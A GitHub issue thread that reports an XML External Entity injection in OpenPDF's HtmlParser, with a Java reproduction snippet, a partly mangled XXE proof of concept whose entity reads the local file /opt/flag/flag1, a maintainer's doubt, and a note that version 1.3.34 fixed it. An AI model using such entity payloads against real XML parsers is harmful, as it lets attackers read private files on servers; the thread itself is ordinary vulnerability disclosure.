XML External Entity Injection

[75ACOL]

Describe the bug
If the user controls the data

To Reproduce
public static void main(String[] args) { try (Document document = new Document()) { HtmlParser.parse(document, "file:///D:\\XXEPOC.xml"); } catch (DocumentException de) { System.err.println(de.getMessage()); } }

Expected behavior

">

This will send out the data

System (please complete the following information):
All system

Additional context
Please help me apply for CVE number, thank you!

[lean0x2F]

Care to elaborate a bit? I've been testing this and it doesn't seem to be vulnerable.

[75ACOL]

Can you apply for cve for me? I need this, it's actually attackable.
Files can be read through such poc
``?xml version="1.0" encoding="utf-8"?>
!DOCTYPE any [
!ENTITY a SYSTEM "file:///opt/flag/flag1">
]>```

[andreasrosdal]

This was fixed in OpenPDF 1.3.34:

https://github.com/LibrePDF/OpenPDF/releases/tag/1.3.34

#1000